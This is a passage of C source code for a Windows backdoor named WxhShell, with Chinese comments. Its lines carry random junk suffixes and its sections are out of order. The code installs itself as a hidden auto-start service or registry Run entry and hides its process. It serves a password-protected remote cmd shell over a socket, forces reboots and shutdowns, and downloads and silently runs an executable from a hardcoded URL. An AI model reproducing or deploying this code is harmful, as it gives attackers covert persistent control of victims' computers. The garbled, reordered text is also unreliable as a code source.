    } 2 Y+:,ud\  
    break; A[JM4x   
    } iLtc HpN  
  // 关机 #jP/k.  
  case 'd': { ( 3;`bvYH"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l &Z(K,6  
    if(Boot(SHUTDOWN)) MZ~.(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ny1 \4C  
    else { tlGWl0V?7Q  
    closesocket(wsh); KY+]RxX  
    ExitThread(0); [@2s&Ct;  
    } j-32S!  
    break; 6?o>{e7n^  
    } 6mHhC?  
  // 获取shell j@v-|  
  case 's': { TQ'e  
    CmdShell(wsh); p;`N\.ld  
    closesocket(wsh); RIjM(P  
    ExitThread(0); D]u=PqHk2  
    break; *P xf#X  
  } #T"64%dX  
  // 退出 N-%#\rPq.  
  case 'x': { Pux)>q] C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @T7PZB&xnl  
    CloseIt(wsh); T2|:nC)@  
    break; ML= z<u+  
    } ^:z7E1 ~  
  // 离开 f3 &/r  
  case 'q': { NvHN -^2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X9~p4ys9{  
    closesocket(wsh); %U?)?iZdL  
    WSACleanup(); 7\%$>< K  
    exit(1); 40.AM1Z0f  
    break; hdg<bZk:  
        } v[L[A3`"/  
  } .bfST.OA  
  } H,|YLKg-|  
4z0L ke  
  // 提示信息 2.qpt'p[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qlh?iA  
} $G3@< BIN  
  } f3n~{a,[  
yjpz_<7a=  
  return; o#}mkE87  
} \ V?I+Gc  
]M\q0>HoJ  
// shell模块句柄 iZC`z }  
int CmdShell(SOCKET sock) X6kaL3L}  
{ |Puj7Ru  
STARTUPINFO si; 0jTMZ<&zZ  
ZeroMemory(&si,sizeof(si)); j_c+.iET  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OjATSmZ@@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o?\Gm  
PROCESS_INFORMATION ProcessInfo; :mp$\=  
char cmdline[]="cmd"; q+%!<]7X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UkfA}b^@v  
  return 0; b1)\Zi  
} veO?k.u(  
Z= ik{/  
// 自身启动模式 f4 O]`U  
int StartFromService(void) 6[+j'pW?  
{ PbN3;c3  
typedef struct gh61H:tkR  
{ <<<NXsH  
  DWORD ExitStatus; (&c,twa~  
  DWORD PebBaseAddress; PWG;&ma  
  DWORD AffinityMask; 7LdzZS0OM  
  DWORD BasePriority; XtzOFx/  
  ULONG UniqueProcessId; {u4i*udG`)  
  ULONG InheritedFromUniqueProcessId; dEET}s\  
}   PROCESS_BASIC_INFORMATION; Gh+f1)\FA"  
r?$ &Z^  
PROCNTQSIP NtQueryInformationProcess; ?Cc :)  
3):?ZCw7y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +7Rt{C,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -XW8 LaQB  
T 9MzUV&  
  HANDLE             hProcess; O! (85rp/  
  PROCESS_BASIC_INFORMATION pbi; H &fTh  
nl9kYE [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^'Y HJEK  
  if(NULL == hInst ) return 0; r0uJ$/!  
S}mm\<=1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >#?iO]).  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Om6Mmoqh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); niAZ$w  
WKOI\  
  if (!NtQueryInformationProcess) return 0; 8})|^%@n  
tWX7dspx/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wPQ&Di*X}  
  if(!hProcess) return 0; //tT8HX  
#/s7\2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NfqJ=9  
B G5X_s0/  
  CloseHandle(hProcess); /+29.1#|  
fFHK:n`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )r#,ML  
if(hProcess==NULL) return 0; hpas'H>J  
J@gm@ jLc  
HMODULE hMod; "u5KbJW  
char procName[255]; PY\W  
unsigned long cbNeeded; T+(M8 qb  
!G[f[u4Zg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *?p ^6vO  
Cy6%S).c  
  CloseHandle(hProcess); wBE7Bv45  
^vG=|X|)c  
if(strstr(procName,"services")) return 1; // 以服务启动 X&.:H~xS+  
Q-3r}jJe  
  return 0; // 注册表启动 ~f .y:Sbb  
} IqXBz.p  
Fr2kbQTg;  
// 主模块 3l$E8?[Zwi  
int StartWxhshell(LPSTR lpCmdLine) C$t.C rxx  
{ ]2PQ X4t 0  
  SOCKET wsl; eX@ v7i,}  
BOOL val=TRUE; "&Gw1.p  
  int port=0; A`IHP{aB  
  struct sockaddr_in door; \*Ts)EW  
#1B}-PGCm  
  if(wscfg.ws_autoins) Install(); Enu!u~1]F  
F$[)Bd/"  
port=atoi(lpCmdLine); v` $%G  
W oWBs)E  
if(port<=0) port=wscfg.ws_port; FN>L7 *,0  
^glX1 )  
  WSADATA data; OgQntj:%lN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9lKRL'QR  
}|SIHz!R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6-tiRk~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %uj[`  
  door.sin_family = AF_INET; .(JE-upJ"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hRa\1Jt>a  
  door.sin_port = htons(port); *^uGvJXF  
:Jm!=U%'Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Fgz)*Gu]  
closesocket(wsl); )U]:9)   
return 1; Etw~*  
} & \JLTw  
MCM/=M'y  
  if(listen(wsl,2) == INVALID_SOCKET) { O/(3 87=U  
closesocket(wsl); k{_1r;  
return 1; 0u>yT?jP  
} +)?,{eE|  
  Wxhshell(wsl); gji*Wq  
  WSACleanup(); Qg[heND  
b$dBV}0 L  
return 0;  8>ESD}(  
xC'mPcU8  
} q)vK`\Y  
)sRN!~  
// 以NT服务方式启动 (v]P<3%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U&`6&$]  
{ ijE<spG  
DWORD   status = 0; CcBQo8!G  
  DWORD   specificError = 0xfffffff;  ccRlql(  
)4@M`8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J`4Z<b53  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mZ]P[lQ'5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?n2C  
  serviceStatus.dwWin32ExitCode     = 0; *3 !(*F@M,  
  serviceStatus.dwServiceSpecificExitCode = 0; X {#bJ  
  serviceStatus.dwCheckPoint       = 0; 7qpzk7X?pR  
  serviceStatus.dwWaitHint       = 0; 9z+vFk`  
0,:iE\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $|rCrak;  
  if (hServiceStatusHandle==0) return; [+y &HNf  
fBf]4@{  
status = GetLastError(); C?8PT/  
  if (status!=NO_ERROR) keae.6[  
{ ?Y%}(3y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w8G7Jy  
    serviceStatus.dwCheckPoint       = 0; LFl2uV"  
    serviceStatus.dwWaitHint       = 0; BQ).`f";d  
    serviceStatus.dwWin32ExitCode     = status; TFNUv<>X  
    serviceStatus.dwServiceSpecificExitCode = specificError; fDL3:%D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yd[U  
    return; 3(aRs?/ O  
  } MgHOj   
]U_5\$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b*cW<vX}~  
  serviceStatus.dwCheckPoint       = 0; :b.3CL\.6  
  serviceStatus.dwWaitHint       = 0; a:=q8Qy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {F<)z% ^  
} X";TZk  
_2wAaJvA  
// 处理NT服务事件,比如:启动、停止 joxS+P5#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tnf&pu#5  
{ )ZQHa7V  
switch(fdwControl) O'"YJ,  
{ Ii|uGxEc  
case SERVICE_CONTROL_STOP: pTc$+Z7 3  
  serviceStatus.dwWin32ExitCode = 0; #E*@/ p/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nUiS<D2  
  serviceStatus.dwCheckPoint   = 0; 8w03{H 0  
  serviceStatus.dwWaitHint     = 0; CR%D\I$o  
  { c$@`P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d,zp `S  
  } Q1aHIc  
  return; 976E3u"Vt  
case SERVICE_CONTROL_PAUSE: KX0<j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mk#>Dpy?  
  break; $5ZR [\$  
case SERVICE_CONTROL_CONTINUE: eL<m.06cfY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <l* agH-.3  
  break; rdXCWK$E  
case SERVICE_CONTROL_INTERROGATE: 7h(HG?2Y  
  break; VI(RT-S6  
}; ,Y`'myL8W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eKL]E!  
} 3Cq6h;!#  
7xX;MB &  
// 标准应用程序主函数 `Af{H/qiI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /p[|DJo M  
{ b{Z^)u2X  
AQE eIFH  
// 获取操作系统版本 Y'tqm&}  
OsIsNt=GetOsVer(); 6"BtfQ")  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q&oC]u(="&  
5oVLv4Z9u  
  // 从命令行安装 %M|Z}2qv  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8:Z@lp^  
KC&H*  
  // 下载执行文件 SNQz8(O  
if(wscfg.ws_downexe) { 59&T/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zkf 3t>[  
  WinExec(wscfg.ws_filenam,SW_HIDE); *54>iO- c  
} JoZqLy!@  
&{X{36  
if(!OsIsNt) { b=6MFPbg  
// 如果时win9x,隐藏进程并且设置为注册表启动 SZCF3m&pz  
HideProc(); aO~s i=  
StartWxhshell(lpCmdLine); L~@ma(TV{K  
} clh3  
else SQ1M4:hP  
  if(StartFromService()) M'pb8jf  
  // 以服务方式启动 2#>$%[   
  StartServiceCtrlDispatcher(DispatchTable); ..vSL  
else o?:;8]sr!  
  // 普通方式启动 ;X?Ah  
  StartWxhshell(lpCmdLine); lcu("^{3  
FQ ;4'B^k]  
return 0; <dju6k7uz  
} ;cM8EU^.  
1x~%Ydy  
$sA,$x:^xI  
8[6ny=S`  
=========================================== 7Vz[ji  
bBkm]  >  
!^c:'I>~  
o|R*POM  
"Y"t2l_n  
FK4nz2&4  
" A)b)ff ,  
tIz<+T_  
#include <stdio.h> ig2{lEkF  
#include <string.h> R`0foSq \M  
#include <windows.h> 8zP:*|D  
#include <winsock2.h> tc+GR?-7W  
#include <winsvc.h> t_[M &  
#include <urlmon.h> ,pQ'w7  
6F|Hg2tpz  
#pragma comment (lib, "Ws2_32.lib") DFt=%aV[  
#pragma comment (lib, "urlmon.lib") '1>g=Ic0  
Tf&f`/  
#define MAX_USER   100 // 最大客户端连接数 \Dvl%:8   
#define BUF_SOCK   200 // sock buffer (cOND/S  
#define KEY_BUFF   255 // 输入 buffer `c qH}2s#  
nx!qCgo  
#define REBOOT     0   // 重启 e67c:Z  
#define SHUTDOWN   1   // 关机 AijPN  
"E@NZ*"u  
#define DEF_PORT   5000 // 监听端口 [ 4?cM\_u@  
Uv @!i0W  
#define REG_LEN     16   // 注册表键长度 )@8'k]Glw.  
#define SVC_LEN     80   // NT服务名长度 }<( "0jC  
q7 %=`l  
// 从dll定义API b>hBct}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iQ]T+}nn_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Um1h:^   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fP^W"y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2ru*#Z#(  
aGq_hP   
// wxhshell配置信息 B)j`}7O 06  
struct WSCFG { ]Ks]B2Osz  
  int ws_port;         // 监听端口 B$}wF<`k7  
  char ws_passstr[REG_LEN]; // 口令 8! |.H p  
  int ws_autoins;       // 安装标记, 1=yes 0=no EmtDrx4!(f  
  char ws_regname[REG_LEN]; // 注册表键名 U~u6}s]:  
  char ws_svcname[REG_LEN]; // 服务名 dCf'\ @<<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZYwBw:y}y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %5Q7#xU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i# pjv'C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mr5('9%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,$MWk(S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nvO%  
EuKrYY]g  
}; ;#5-.z  
7AGZu?1]M  
// default Wxhshell configuration L:t)$iF5+  
struct WSCFG wscfg={DEF_PORT, %KJ"rvi4K  
    "xuhuanlingzhe", (c|$+B^*  
    1, Jf %!I  
    "Wxhshell", ,mO(!D  
    "Wxhshell", L337/8fh  
            "WxhShell Service", 7 SjF9x  
    "Wrsky Windows CmdShell Service", ~.PPf/ Z8]  
    "Please Input Your Password: ", vxbH^b  
  1, }<5\O*kX4  
  "http://www.wrsky.com/wxhshell.exe", 4*N@=v  
  "Wxhshell.exe" [3{:H"t  
    }; M(.uu`B  
)[y!m9Vn  
// 消息定义模块 )H[h53bIq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5@R15q@c6n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~_dBND?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uZqu xu.  
char *msg_ws_ext="\n\rExit."; qHC*$v#.V?  
char *msg_ws_end="\n\rQuit."; SHXa{-  
char *msg_ws_boot="\n\rReboot..."; 0,vj,ic*WX  
char *msg_ws_poff="\n\rShutdown..."; :|3"H&FWK  
char *msg_ws_down="\n\rSave to "; C1#o<pv  
t?%}hs\!  
char *msg_ws_err="\n\rErr!"; ;3.T* ?|o  
char *msg_ws_ok="\n\rOK!"; DU*g~{8T$  
.v #0cQX+.  
char ExeFile[MAX_PATH]; 8T>3@kF  
int nUser = 0; y]QQvCJr3d  
HANDLE handles[MAX_USER]; |*]X\UE  
int OsIsNt; zCj*:n  
=#POMK".6  
SERVICE_STATUS       serviceStatus; ((RpT0rP\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #whO2Mv  
&dZ.+#8r  
// 函数声明 y]E)2:B[d  
int Install(void); UijuJ(Tle  
int Uninstall(void); JhMrm%  
int DownloadFile(char *sURL, SOCKET wsh);  |(J ?#?  
int Boot(int flag); Sg_-OX@f  
void HideProc(void); ~$y#(YbH  
int GetOsVer(void); -tK;RQYax  
int Wxhshell(SOCKET wsl); $ sA~p_]  
void TalkWithClient(void *cs); <M =W)2D7  
int CmdShell(SOCKET sock); zal3j^  
int StartFromService(void); DMK"Q#Vw  
int StartWxhshell(LPSTR lpCmdLine); U'sVs2sk6  
nL7S3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NSiYUAu g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eBSn1n  
6,g5To#vw  
// 数据结构和表定义 r$3~bS$]  
SERVICE_TABLE_ENTRY DispatchTable[] = 5x1%oC  
{ X*>o9J45V  
{wscfg.ws_svcname, NTServiceMain}, \DcC1W  
{NULL, NULL} %b>y  
}; X."h Tha5  
dp//p)B>  
// 自我安装 psyH?&T  
int Install(void) 0+2Matk>.  
{ YVZSKU  
  char svExeFile[MAX_PATH]; O w($\,  
  HKEY key; g1hg`qBBW  
  strcpy(svExeFile,ExeFile); &23ss/  
COkLn)+0  
// 如果是win9x系统,修改注册表设为自启动 eLt Cxe  
if(!OsIsNt) { 1CS]~1Yp:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PTI'N%W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vU \w3  
  RegCloseKey(key); AP?{N:+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,39$iHk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z hR_qW+  
  RegCloseKey(key); 6Ymo%OT  
  return 0; V)?x*R*T)  
    } 66"ZH,335  
  } PE;0 jgsiI  
} qI V`zZc  
else { 2)I'5 ?I  
G.q^Zd#.T  
// 如果是NT以上系统,安装为系统服务 v;F+fOo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T h- vG  
if (schSCManager!=0) 9^Vx*KVrU  
{ d@>k\6%j  
  SC_HANDLE schService = CreateService bbPd&7  
  ( )Ido|!]0d  
  schSCManager, @x-GbK?  
  wscfg.ws_svcname, C)3$";$5)  
  wscfg.ws_svcdisp, h}B# 'e  
  SERVICE_ALL_ACCESS, 6 peM4X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , woH3?zR  
  SERVICE_AUTO_START, }Bod#|`  
  SERVICE_ERROR_NORMAL, $O]E$S${  
  svExeFile, ae(]9VW  
  NULL, f@. Q%+!4  
  NULL, 6'sFmC  
  NULL, x_H7=\pX]  
  NULL, PEQvEruZ}  
  NULL rbJ)RN^.  
  ); 5@&i:vs5y  
  if (schService!=0) ygy#^  
  { hk$nlc|$  
  CloseServiceHandle(schService); C;:1CK  
  CloseServiceHandle(schSCManager); %ucmJ-< y#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ##+ 8GLQM  
  strcat(svExeFile,wscfg.ws_svcname); WbDC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ofrlTw&o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;|$]Qq  
  RegCloseKey(key); A'AWuj\r2R  
  return 0; d[Fr  
    } 5_tK3Q8?  
  } u%IKM \  
  CloseServiceHandle(schSCManager); ~PAbLSL*u  
} JU%yqXO  
} v,.n/@s|X  
1.d9{LO[-  
return 1; MPEBinE?  
} Nxs%~ wZ   
ThQEQ6y  
// 自我卸载 [@FeRIu8  
int Uninstall(void) ^CZ|ci6bX  
{ #y9K-}u  
  HKEY key; ^[\53\R~  
Ew,wNR`  
if(!OsIsNt) { [,A'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AU?YZEAei  
  RegDeleteValue(key,wscfg.ws_regname); Ug'nr  
  RegCloseKey(key); uu/7Ie  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0@/E% T1c"  
  RegDeleteValue(key,wscfg.ws_regname); N4]6LA6x6  
  RegCloseKey(key); [N$_@[  
  return 0; jvKaxB;e  
  } .j<B5/+  
} Hr,lA(  
} ZxeE6&#M^w  
else { y2% ^teX k  
 F-\8f(\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tlxjs]{0E  
if (schSCManager!=0) 8RT0&[  
{ Q c< O; #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _j<M}  
  if (schService!=0) ?}Ptb&Vk(  
  { o?hw2-mH  
  if(DeleteService(schService)!=0) { VKfHN_m*  
  CloseServiceHandle(schService); /ykxVCvAt  
  CloseServiceHandle(schSCManager); {kO:HhUg  
  return 0; J2k'Ke97o  
  } <W|{)U?p  
  CloseServiceHandle(schService); kX .1#%Ex  
  } tZBE& :l  
  CloseServiceHandle(schSCManager); UHl/AM> !  
} t:@A)ip  
}  >33b@)  
<^c0bY1  
return 1; { rJF)\2  
} pC.P  
`e;Sjf<  
// 从指定url下载文件 ZTz(NS EK  
int DownloadFile(char *sURL, SOCKET wsh) x3F L/^S  
{ #K*q(ei,7h  
  HRESULT hr; ]x{H  
char seps[]= "/"; gY^TBR0?m  
char *token; |B WK"G  
char *file; H9m2Whq  
char myURL[MAX_PATH]; ?-v?SN#  
char myFILE[MAX_PATH]; I:)#U[tn0  
 1`JN  
strcpy(myURL,sURL); soK_l|z:J  
  token=strtok(myURL,seps); \D k^\-  
  while(token!=NULL) =y/ Lbe}:  
  { hpe s  
    file=token; .{ Lm  
  token=strtok(NULL,seps); sWzXl~JbF  
  } 1ucUnNkcV  
m`0{j1K  
GetCurrentDirectory(MAX_PATH,myFILE); 0~5}F^8[L  
strcat(myFILE, "\\"); nE.s  
strcat(myFILE, file); d"uM7PMs7x  
  send(wsh,myFILE,strlen(myFILE),0); I,Y^_(JW  
send(wsh,"...",3,0); ]-OkW.8d1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =U|SK"oO  
  if(hr==S_OK) cDol o1*  
return 0; 5fv6RQD  
else l zkn B  
return 1; 3nGK674;z  
-mdPqVIJn:  
} `erQp0fBM  
.f<,H+m^  
// 系统电源模块 WoR**J?}w  
int Boot(int flag) 32'9Ch.  
{ %R"nm  
  HANDLE hToken; :#KURYO<  
  TOKEN_PRIVILEGES tkp; } +Z;zm@/6  
ttt&sW`  
  if(OsIsNt) { +/8?+1E ^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O3GaxM \x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); td$Jx}'A  
    tkp.PrivilegeCount = 1; #Ih(2T i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }eK*)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \zDV|n~{w  
if(flag==REBOOT) { U^S:2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nrhpI d  
  return 0; 4tKf  
} AMfu|%ZL  
else { hzVO.Q*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) } /FM#Xh  
  return 0; r{;4(3E2  
} 1#RA+d(  
  } YH$`r6\S  
  else { \dbtd hT;Z  
if(flag==REBOOT) { g-uFss  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ee\zU~  
  return 0; \wd`6  
} `N,Jiw;bw  
else { ~<R~Q:T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ai2}vR  
  return 0; 7nIMIkT:  
} 6-}9m7#Y  
} -^N '18:  
%"B$I>h  
return 1; ^el:)$  
} _CT|5wQF<  
wpmtv325  
// win9x进程隐藏模块 |Q+v6r(<zZ  
void HideProc(void) p 1fnuN |,  
{ (#BA{9T,^  
6?~pjMV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fm{y.URo  
  if ( hKernel != NULL ) | mX8fRh  
  { C*<LVW{P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 94/}@<d-=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o4795r,jz  
    FreeLibrary(hKernel); Yq.@7cJ  
  } ,^T2hY`  
 5 Ep  
return; 3<lDsb(}0A  
} yV`vu/3K  
/iy/2x28>  
// 获取操作系统版本 Vngi8%YWp  
int GetOsVer(void) _en8hi@Z  
{ m 9Q{ )?J7  
  OSVERSIONINFO winfo; CiF bk&-g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ha\hQ'99  
  GetVersionEx(&winfo); s=+G%B'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {[dqXG$v `  
  return 1; Su^Z{ Ud`  
  else 3e:y?hpeL  
  return 0; -z94>}Z=  
} B5S1F4  
Nrh`DyF0D!  
// 客户端句柄模块 'ZZ/:MvQa  
int Wxhshell(SOCKET wsl) U)6JJv  
{ ]5CFL$_Q{  
  SOCKET wsh; ~*Wb MA  
  struct sockaddr_in client; H2p;J#cv@  
  DWORD myID; q3t@)+l>*  
uWQ.h ,  
  while(nUser<MAX_USER) ==9Ez  
{ l0V@19Ec  
  int nSize=sizeof(client); N*;/~bt7 P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H(|v  
  if(wsh==INVALID_SOCKET) return 1; Pr"ESd>Y  
qKXn=J/0tA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s,= ^V/c  
if(handles[nUser]==0) 7va%-&.&t  
  closesocket(wsh); >@o*v*25  
else T9 1Iz+j  
  nUser++; JKGZ0yn  
  } k2a^gCBC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CJ>=odK[  
O jmz/W  
  return 0; G})mw  
} XafyI*pOX  
E&AR=yqk  
// 关闭 socket w.jATMJ)F  
void CloseIt(SOCKET wsh) 'AU!xG6OQ  
{ `Hqu 2 '`  
closesocket(wsh); %|~ UNP$  
nUser--; Y,r2m nq  
ExitThread(0); SQ[}]Tm;n  
} }#1{GhsS  
Q*5d~Yr]R  
// 客户端请求句柄 |k0VJi  
void TalkWithClient(void *cs) V^D#i(5  
{ Gy5W;,$q  
 qn .  
  SOCKET wsh=(SOCKET)cs; SE1 tlP  
  char pwd[SVC_LEN]; c4|.!AQ>  
  char cmd[KEY_BUFF]; rXMv&]Ag  
char chr[1]; m[XN,IE#u  
int i,j; rv[\2@}  
wKN9HT  
  while (nUser < MAX_USER) { 1*"Uc!7.%  
ueOvBFgZ  
if(wscfg.ws_passstr) { f\JyN@w+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hV%l}6yS&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _<$=n6#  
  //ZeroMemory(pwd,KEY_BUFF); \`^jl  
      i=0; +y2*[  
  while(i<SVC_LEN) { @QofsWC  
Q] HRg4r  
  // 设置超时 ?bEYvHAzg  
  fd_set FdRead; L r,$98Dy  
  struct timeval TimeOut; w@4+&v>O  
  FD_ZERO(&FdRead); @9L9c  
  FD_SET(wsh,&FdRead); k dqH36&<  
  TimeOut.tv_sec=8; Z'~5L_.]Ai  
  TimeOut.tv_usec=0; uE2Y n`Ha  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :zCm$@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mTt 9 o9E  
"v06F j>q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )]}*oO  
  pwd=chr[0]; A, os rv  
  if(chr[0]==0xd || chr[0]==0xa) { h(fh |R<  
  pwd=0; 6m]L{ buP  
  break; J';tpr  
  } >Y:ouN~<  
  i++; 8CL05:&  
    } Ce:kMkJ  
7D,+1>5^Ne  
  // 如果是非法用户,关闭 socket CfAqMH*ip  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0t~--/lA  
} x8H)m+AW  
Hi9]M3Ub  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;J:YNup  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p81~Lk*Hz@  
aCanDMcBnq  
while(1) { ,/KHKLY7  
=F`h2A;a  
  ZeroMemory(cmd,KEY_BUFF); gm8H)y,  
^a]:GPc  
      // 自动支持客户端 telnet标准   nL$tXm-x  
  j=0; Au {`o xD  
  while(j<KEY_BUFF) { zAH+{4lC+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k $);<= ZI  
  cmd[j]=chr[0]; gyPF!"!5dq  
  if(chr[0]==0xa || chr[0]==0xd) { h ( Z7a%_  
  cmd[j]=0; O;XF'r_  
  break; Og["X0j  
  } uGv+c.~[j  
  j++; 1+^c3Dd`  
    } %l,Xt"nS#  
!#r]f9QP  
  // 下载文件  i J\#su  
  if(strstr(cmd,"http://")) { i-Z@6\/a5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :+YFO.7  
